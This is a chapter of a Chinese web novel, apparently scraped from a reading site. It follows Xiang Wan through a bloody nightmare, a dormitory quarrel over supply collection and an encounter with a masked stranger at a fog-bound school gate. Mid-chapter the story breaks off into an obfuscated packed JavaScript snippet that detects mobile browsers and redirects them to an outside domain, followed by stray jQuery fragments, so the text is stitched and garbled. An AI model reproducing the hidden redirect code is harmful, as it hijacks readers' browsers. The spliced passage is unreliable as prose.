血，糊了她一身的血。


    刚从活人嘴里割下来的舌头神经尚未死去，掉落在地，细看还在微动。倒在地上的男人面容无比扭曲，有爬虫从他空洞洞的眼眶里钻出来。


    矛盾又割裂的场景。


    项纨凝视着握在自己手里沾满腥红的匕首，环顾四周，黑蒙蒙的一片。在做梦吧……她想。


    松开手，匕首“哐当”一声掉在地上，连她自己都没注意到垂落在裤腿旁侧的手指正在微微发抖。


    出去吧，先离开这个不见天日的地方。


    她绕了一圈又一圈，却始终走不出去，无论如何，最终都会绕回到阿克斯的尸体旁边。这算什么？附加题NPC的死不瞑目？


    终于，不知道走到第多少圈的时候，项纨烦了。手抖的频率加剧，她向前跨了一步，重新捡起尸体旁边那把刀。做梦就是做梦，刚才还锋利无比的匕首再被拿起的时候已经锈迹斑斑。


    不知道是血还是铁锈的味道充斥着她的鼻腔。


    不让她走吗？


    项纨将锈迹斑斑的匕首高高举过头顶。


    那她只好——


    “项纨！”“丸子！”


    两道声音同时从她左右耳灌了进来，密不透风的黑暗裂开一个口子，随后四分五裂。项纨猛地睁开眼睛，缓了好一会儿，回过神来，发现自己正直愣愣地坐在床上，寝室里已经开了灯，看起来时间不早了。


    左右看了看，确认两道声音分别来自睡在自己左边的谢晓彤和床下的于露。


    “丸子，你没事吧？”谢晓彤用手背贴上她的额头，摸了摸，确认没发烧。


    项纨拨开谢晓彤的手，说：“放心吧，没事。”


    于露站在她床边，犹豫着问：“你是不是作噩梦了？”


    项纨瞥了瞥她，起身下床，“没有。”


    “嘁，嘴硬。”于露小声bb。


    其实项纨做噩梦她完全可以理解。毕竟……就算阿克斯是附加题里的npc，就算再怎么不把他当做真正意义上的人来看待，但亲手杀掉这么一个会说人话，长者人的皮囊的“npc”，给心灵带来的创伤应该也不小。


    所以她完全能理解，而且不光理解，其实刚才她也做噩梦了，只不过反应没有项纨这么激烈而已。


    项纨下床穿好鞋子，随口一问：“几点了？”


    谢晓彤跟在她后面爬下床，看了看手机，答道：“七点四十五。”


    项纨摸出手机，一看，重叠的闹钟在屏幕上显示，但就是没有声音，难怪睡过了头。为了预防下次再出现这样的情况，项纨把手机上所有的闹钟全部取消掉，决定下次定闹钟定一次删一个。


    “快到发物资的时间了。”于露说着，悄悄朝项纨这边看了一眼。


    项纨恰好抬眼，两个人的目光撞了个正着。于露有些尴尬的收回了视线，项纨眉梢上扬，道：“昨天你不是说今天你去吗？我不跟你抢。”


    于露：……


    说话的功夫，白心月也醒了，她揉了揉眼睛爬下床，一下来就看见于露一脸吃瘪的表情，“怎么了这是？”


    于露没搭理她，哼了一声，转过身一屁股坐下，“去就去，你以为我会怕吗？”


    “那最好。”


    见两人又有呛声的架势，白心月开始和稀泥：“好了好了，昨天不是已经知道只要准点出去拿物资就没事儿吗。项纨，要不今天还是你去吧，毕竟你有经验一些。”


    这话让项纨听得皱起眉头，她不悦地看向白心月，问她：“我有逼她吗？”


    白心月一愣，连忙解释：“我不是那个意思，我只是……”


    “领物资是我一个人事吗？我有什么责任和义务每次都帮所有人领回来吗？”


    一连串的问题劈头盖脸地砸向白心月，她被问懵，磕磕巴巴替自己辩解：“没有，项纨……我只是……”


    说到这儿，白心月卡壳，忽然有点说不出口了。


    她原本想说只是觉得两个人没必要因为拿物资这点小事吵起来，这本来就不是什么大事。可转念一想，虽然已经确定准点拿物资是安全的，可在这鬼地方，有没有变数也很难说。她这样想当然地把事情安排到了项纨头上，也怪不得项纨会生气。


    “白心月，慷慨解围可以，但是慷她人之慨就有些好笑了。”项纨说着，看了眼手机，“还有五分钟，她去还是你替她去，你们自己决定。”


    “我……”


    “丸子，”谢晓彤坐到她旁边，轻轻扯了下项纨的袖子，“别生气别生气，小白她是没考虑周全，你别跟她置气。”


    项纨无奈地看了眼谢晓彤，没说什么。


    谢晓彤这样的性子，不会用坏心思去揣度谁，自然也不会觉得谁的心思会有多坏。


    见项纨这边应该是不会搭理自己了，白心月转看向于露，小声叫她：“露露，你要是实在不敢的话，我——”


    “谁要你多管闲事了？”于露打断她，语气颇为不悦。


    白心月有点委屈，自己还不是为了帮她，“露露，我是看你不大想去领物资，所以……对不起，是我没考虑周全。”


    她还是选择道歉，毕竟确实是她的多话才把两人的矛盾激化。


    于露白了她一眼，虽然白心月做事不过脑子，但确实也是替她说话，她也道理再继续指责，只说：“行了行了，以后多余的事情少做，不要乱揣测我的想法。”


    “那物资？”


    于露回头看了眼背对自己的项纨，决定不蒸馒头争口气，“我自己来。”


    这次的物资发放没有提示，正点儿一到，于露深呼吸一口，拉开门就出去。没一会儿，门再次打开，于露抱着一堆牛皮纸袋脸色苍白地回到寝室。这次作为旁观者，项纨对寝室内外时间流速的诧异有了清晰地认知。


    不过好在，无惊无险。


    于露留下自己那份，把剩下的物资分给白心月和谢晓彤，还剩一份，她有些扭捏地走到项纨身边，伸手把手里那份递给她：“物资。”


    项纨抬眼看了看，没矫情，接了过来，“谢了。”


    生存必要物资，她可不会因为一点矛盾跟她矫情客气。


    平安无事地度过一夜，第二天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029232|176805||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    项纨起得很早，其她人都还在睡着，她洗漱完毕收拾利索，换了鞋子轻手轻脚地离开寝室。


    依旧是大雾天的早晨，能见度很低，天色阴沉沉的。


    项纨下楼，目标明确，直奔学校大门。


    这样的大雾天会令人本能感到不安，蜷在安全的寝室里成了人们下意识的选择，所以项纨一路上连个鬼影子都没看到。


    穿过大雾，通往学校正大门的这条路上种满了梧桐树，枝繁叶茂的，本来在夏天能为路过的师生们提供阴凉，这时候在这儿却显得格外多余，让这条路看上去更加昏暗阴沉。


    项纨掏出手机看了看时间，六点半整。


    关掉手机集中注意力在脚下，项纨穿过大雾的林荫大道，脚步虽然慢，但总算是成功抵达了学校大门。


    她走到门口，视线停留在大门的正中心。透过悬航门的门缝，项纨看见了外头的景象。和以往车水马龙的街道截然不同，门外的景象在再次让项纨想到那两个字——虚无。


    就是一片虚无，如同打了马赛克般的虚无。


    她向前迈了一步，手机忽然“叮咚”一声，这一声在静谧的校园里显得尤为刺耳，项纨愣了一下，解锁手机。


    屏幕上，刺眼的巨大红色感叹号弹出危险提示，鲜红色画着“×”的禁字格外刺眼，项纨脑子一转，立马将脚撤了回来，屏幕上的红字顿时消失，手机屏幕一切正常，仿佛刚才都是她的幻觉。


    项纨看着手机沉思了几秒，准备离开。


    一转身，迎上半米开外一道锐利的目光，项纨吓了一跳，呼吸一滞，大脑切换战斗状态，人还没反应过来，一记前踢已经踢了出去。


    前方的人反应倒快，弯腰侧身成功躲开了项纨这一踢，与此同时后退一步，两人也拉开了距离。


    “你什么人？”


    看着面前戴着帽子和口罩，只露出一双眼睛的人，项纨开口，的声音听上去冷冰冰的，带着质问的意味。


    沉默几秒。


    “现在还在这里的，除了本校学生应该没有其他人了吧。”男人声音缓缓，很陌生，但同样冷淡。


    “本校学生……”项纨低声重复着，抬头，眼神凌厉地看向他，“跟在后面鬼鬼祟祟不出声，你想做什么？”


    男生露出眼睛的上半张脸眉头微微一皱，语气狐疑：“跟在后面？你误会了。”


    “误会？”


    男人指了指学校大门，“我只是出来看看现在学校是什么情况。”


    “况且，有任何明文规定这学校大门口只能容纳你一个人吗？”


    这人还挺会怼人，项纨嘴上功夫这么损的人，一时间竟然没找到反驳的话。她盯着男人微微上挑的眼睛，半晌，道：“当然，大路朝天你想往哪里走都行。不过好心提醒你一下，下次不要无声无息站在别人身后，免得吓到人。”


    男人看了她一眼，没说什么，转身，在项纨的注视下，身影很快消失在大雾里。


    看着男人离开的方向，项纨垂下眼睑，只感觉一阵莫名其妙。


    算了，不管他了，先回去吧。